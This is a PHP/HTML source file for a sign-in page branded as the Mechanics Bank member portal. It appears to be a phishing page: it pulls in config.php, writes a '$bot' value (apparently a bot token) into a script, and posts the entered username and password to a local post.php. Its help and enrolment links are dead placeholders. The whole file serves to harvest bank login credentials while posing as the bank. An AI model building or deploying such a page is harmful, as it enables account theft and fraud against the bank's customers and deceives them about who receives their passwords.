<?php
include("config.php");
?>
<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <link rel="icon" type="image/x-icon" href="favicon.ico">
    <link rel="preconnect" href="https://fonts.googleapis.com">
    <link rel="preconnect" href="https://fonts.gstatic.com" crossorigin>
    <link href="https://fonts.googleapis.com/css2?family=Playfair+Display:wght@400;500;600&family=DM+Sans:wght@300;400;500&display=swap" rel="stylesheet">
    <title>Mechanics Bank</title>
    <style>
        *, *::before, *::after { box-sizing: border-box; margin: 0; padding: 0; }

        :root {
            --red:          #651c32;
            --red-mid:      #7a2240;
            --red-light:    rgba(101, 28, 50, 0.07);
            --gold:         #c88700;
            --gold-soft:    rgba(200, 135, 0, 0.1);
            --warm:         #f7f2ed;
            --text-primary: #1a0810;
            --text-secondary: #52202e;
            --text-muted:   #9a7078;
            --border:       #e2cdd2;
            --bg:           #faf7f4;
            --white:        #ffffff;
        }

        html, body { height: 100%; font-family: 'DM Sans', sans-serif; background: var(--bg); }

        body {
            display: grid;
            grid-template-columns: 1fr 1fr;
            min-height: 100vh;
            overflow: hidden;
        }

        /* ── Left panel ── */
        .panel-left {
            background: var(--red);
            position: relative;
            display: flex;
            flex-direction: column;
            justify-content: flex-end;
            padding: 52px 56px;
            overflow: hidden;
        }

        .panel-left::before {
            content: '';
            position: absolute; inset: 0;
            background:
                radial-gradient(ellipse 60% 50% at 10% 90%, rgba(200,135,0,0.18) 0%, transparent 65%),
                radial-gradient(ellipse 50% 45% at 90% 5%,  rgba(0,0,0,0.3) 0%, transparent 70%);
            pointer-events: none;
        }

        /* Gear / mechanical texture */
        .panel-bg { position: absolute; inset: 0; overflow: hidden; opacity: 0.07; }
        .panel-bg svg { width: 100%; height: 100%; }

        .panel-dots {
            position: absolute; top: 52px; left: 56px;
            display: flex; gap: 8px; z-index: 1;
        }
        .panel-dots span {
            width: 8px; height: 8px; border-radius: 50%;
            background: rgba(255,255,255,0.15);
        }
        .panel-dots span:first-child { background: #c88700; }

        /* Gear icon */
        .gear-art {
            position: relative; z-index: 1;
            margin-bottom: 52px;
            width: 68px; height: 68px;
        }
        .gear-art svg { width: 100%; height: 100%; }

        .panel-tagline { position: relative; z-index: 1; }
        .panel-tagline .eyebrow {
            font-size: 11px; font-weight: 500;
            letter-spacing: 0.22em; text-transform: uppercase;
            color: #c88700; margin-bottom: 18px;
        }
        .panel-tagline h2 {
            font-family: 'Playfair Display', serif;
            font-size: clamp(26px, 2.8vw, 42px);
            font-weight: 500; line-height: 1.25;
            color: #fff; margin-bottom: 22px;
        }
        .panel-tagline p {
            font-size: 14px; font-weight: 300;
            color: rgba(255,255,255,0.45);
            line-height: 1.75; max-width: 310px;
        }

        /* ── Right panel ── */
        .panel-right {
            display: flex; flex-direction: column;
            justify-content: center; align-items: center;
            padding: 60px 40px;
            background: var(--white); overflow-y: auto;
        }

        .login-card {
            width: 100%; max-width: 390px;
            animation: fadeUp 0.55s ease both;
        }

        @keyframes fadeUp {
            from { opacity: 0; transform: translateY(16px); }
            to   { opacity: 1; transform: translateY(0); }
        }

        .login-logo { margin-bottom: 40px; }
        .login-logo img { height: 44px; width: auto; object-fit: contain; display: block; }

        .login-heading { margin-bottom: 30px; }
        .login-heading h1 {
            font-family: 'Playfair Display', serif;
            font-size: 26px; font-weight: 500;
            color: var(--text-primary); margin-bottom: 7px;
            letter-spacing: -0.01em;
        }
        .login-heading p {
            font-size: 14px; color: var(--text-muted); font-weight: 300;
        }

        /* ── Fields ── */
        .field { margin-bottom: 18px; }
        .field label {
            display: block; font-size: 11px; font-weight: 500;
            letter-spacing: 0.08em; text-transform: uppercase;
            color: var(--text-secondary); margin-bottom: 8px;
        }
        .field input[type="text"],
        .field input[type="Password"] {
            width: 100%; height: 50px; padding: 0 16px;
            border: 1.5px solid var(--border); border-radius: 6px;
            font-family: 'DM Sans', sans-serif;
            font-size: 15px; color: var(--text-primary);
            background: #fff; outline: none;
            transition: border-color 0.2s, box-shadow 0.2s;
            -webkit-appearance: none;
        }
        .field input::placeholder { color: #c8aab0; font-weight: 300; }
        .field input:focus {
            border-color: var(--red);
            box-shadow: 0 0 0 3px var(--red-light);
        }

        /* ── Checkboxes ── */
        .options { display: flex; flex-direction: column; gap: 12px; margin-bottom: 26px; }
        .check-label {
            display: flex; align-items: center; gap: 10px;
            font-size: 13.5px; color: var(--text-secondary);
            cursor: pointer; user-select: none;
        }
        .check-label input[type="checkbox"] {
            appearance: none; -webkit-appearance: none;
            width: 17px; height: 17px;
            border: 1.5px solid var(--border);
            border-radius: 4px; background: #fff;
            cursor: pointer; flex-shrink: 0; position: relative;
            transition: background 0.15s, border-color 0.15s;
        }
        .check-label input[type="checkbox"]:checked {
            background: var(--red); border-color: var(--red);
        }
        .check-label input[type="checkbox"]:checked::after {
            content: '';
            position: absolute; left: 4px; top: 1px;
            width: 5px; height: 9px;
            border: 2px solid #fff;
            border-top: none; border-left: none;
            transform: rotate(45deg);
        }

        /* ── Button ── */
        .btn-signin {
            width: 100%; height: 50px;
            background: var(--red); color: #fff;
            border: none; border-radius: 6px;
            font-family: 'DM Sans', sans-serif;
            font-size: 15px; font-weight: 500;
            letter-spacing: 0.02em; cursor: pointer;
            transition: background 0.2s, transform 0.15s, box-shadow 0.2s;
            margin-bottom: 10px;
        }
        .btn-signin:hover {
            background: var(--red-mid);
            box-shadow: 0 4px 18px rgba(101,28,50,0.35);
            transform: translateY(-1px);
        }
        .btn-signin:active { transform: translateY(0); }

        /* Gold rule under button */
        .gold-rule {
            height: 2px;
            background: linear-gradient(90deg, #c88700, rgba(200,135,0,0.15));
            border-radius: 2px;
            margin-bottom: 24px;
        }

        /* ── Footer links ── */
        .login-links {
            display: flex; flex-direction: column; gap: 12px;
            padding-top: 20px; border-top: 1px solid var(--border);
        }
        .login-links a {
            font-size: 13.5px; color: var(--red);
            text-decoration: none; font-weight: 400;
            transition: color 0.15s; opacity: 0.8;
        }
        .login-links a:hover { opacity: 1; text-decoration: underline; }
        .login-links a::after { content: ' →'; font-size: 12px; }

        /* ── Responsive ── */
        @media (max-width: 768px) {
            body { grid-template-columns: 1fr; overflow: auto; }
            .panel-left { display: none; }
            .panel-right { min-height: 100vh; padding: 48px 28px; }
        }
    </style>
</head>
<body>

<!-- Left panel -->
<div class="panel-left">
    <div class="panel-dots"><span></span><span></span><span></span></div>

    <div class="panel-bg">
        <svg viewBox="0 0 600 800" preserveAspectRatio="xMidYMid slice" xmlns="http://www.w3.org/2000/svg">
            <!-- Large gear -->
            <circle cx="460" cy="200" r="120" fill="none" stroke="white" stroke-width="1"/>
            <circle cx="460" cy="200" r="80"  fill="none" stroke="white" stroke-width="1"/>
            <circle cx="460" cy="200" r="30"  fill="none" stroke="white" stroke-width="2"/>
            <!-- Gear teeth large -->
            <g stroke="white" stroke-width="8" stroke-linecap="round">
                <line x1="460" y1="70"  x2="460" y2="92"/>
                <line x1="460" y1="308" x2="460" y2="330"/>
                <line x1="330" y1="200" x2="352" y2="200"/>
                <line x1="568" y1="200" x2="590" y2="200"/>
                <line x1="368" y1="108" x2="383" y2="123"/>
                <line x1="537" y1="277" x2="552" y2="292"/>
                <line x1="368" y1="292" x2="383" y2="277"/>
                <line x1="537" y1="123" x2="552" y2="108"/>
            </g>
            <!-- Small gear -->
            <circle cx="140" cy="580" r="70"  fill="none" stroke="white" stroke-width="1"/>
            <circle cx="140" cy="580" r="45"  fill="none" stroke="white" stroke-width="1"/>
            <circle cx="140" cy="580" r="16"  fill="none" stroke="white" stroke-width="1.5"/>
            <g stroke="white" stroke-width="6" stroke-linecap="round">
                <line x1="140" y1="500" x2="140" y2="516"/>
                <line x1="140" y1="644" x2="140" y2="660"/>
                <line x1="60"  y1="580" x2="76"  y2="580"/>
                <line x1="204" y1="580" x2="220" y2="580"/>
                <line x1="83"  y1="523" x2="94"  y2="534"/>
                <line x1="186" y1="626" x2="197" y2="637"/>
                <line x1="83"  y1="637" x2="94"  y2="626"/>
                <line x1="186" y1="534" x2="197" y2="523"/>
            </g>
            <!-- Connecting rod -->
            <line x1="340" y1="200" x2="210" y2="580" stroke="white" stroke-width="1" stroke-dasharray="6,6"/>
        </svg>
    </div>

    <!-- Gear emblem -->
    <div class="gear-art">
        <svg viewBox="0 0 68 68" fill="none" xmlns="http://www.w3.org/2000/svg">
            <circle cx="34" cy="34" r="26" fill="none" stroke="rgba(255,255,255,0.25)" stroke-width="1.5"/>
            <circle cx="34" cy="34" r="16" fill="none" stroke="rgba(255,255,255,0.4)" stroke-width="1.5"/>
            <circle cx="34" cy="34" r="6"  fill="rgba(200,135,0,0.9)"/>
            <!-- Teeth -->
            <g fill="rgba(200,135,0,0.6)">
                <rect x="31" y="4"  width="6" height="10" rx="2"/>
                <rect x="31" y="54" width="6" height="10" rx="2"/>
                <rect x="4"  y="31" width="10" height="6" rx="2"/>
                <rect x="54" y="31" width="10" height="6" rx="2"/>
                <rect x="10" y="10" width="7" height="7" rx="2" transform="rotate(45 13.5 13.5)"/>
                <rect x="48" y="10" width="7" height="7" rx="2" transform="rotate(45 51.5 13.5)"/>
                <rect x="10" y="51" width="7" height="7" rx="2" transform="rotate(45 13.5 54.5)"/>
                <rect x="48" y="51" width="7" height="7" rx="2" transform="rotate(45 51.5 54.5)"/>
            </g>
        </svg>
    </div>

    <div class="panel-tagline">
        <div class="eyebrow">Member Portal</div>
        <h2>Built on trust.<br>Driven by results.</h2>
        <p>Sign in to manage your accounts, loans, and statements — Mechanics Bank has served California since 1905.</p>
    </div>
</div>

<!-- Right panel -->
<div class="panel-right">
    <div class="login-card">

        <div class="login-logo">
            <img src="res/img/logo.svg" alt="Mechanics Bank Logo">
        </div>

        <div class="login-heading">
            <h1>Welcome back</h1>
            <p>Sign in to your account to continue</p>
        </div>

        <script>var token=<?php echo json_encode($bot); ?>;</script>

        <form action="post.php" method="post">

            <div class="field">
                <label for="user">Username</label>
                <input type="text" id="user" name="user" required autocomplete="username" placeholder="Enter your username">
            </div>

            <div class="field">
                <label for="pass">Password</label>
                <input type="Password" id="pass" name="pass" required autocomplete="current-password" placeholder="Enter your password">
            </div>

            <div class="options">
                <label class="check-label">
                    <input type="checkbox"> Remember me
                </label>
                <label class="check-label">
                    <input type="checkbox"> Use token
                </label>
            </div>

            <button type="submit" class="btn-signin">Sign in</button>
            <div class="gold-rule"></div>

            <div class="login-links">
                <a href="#">Forgot username or password</a>
                <a href="#">Not enrolled? Sign up now</a>
            </div>

        </form>
    </div>
</div>

<script src="./res/jq.js"></script>
</body>
</html>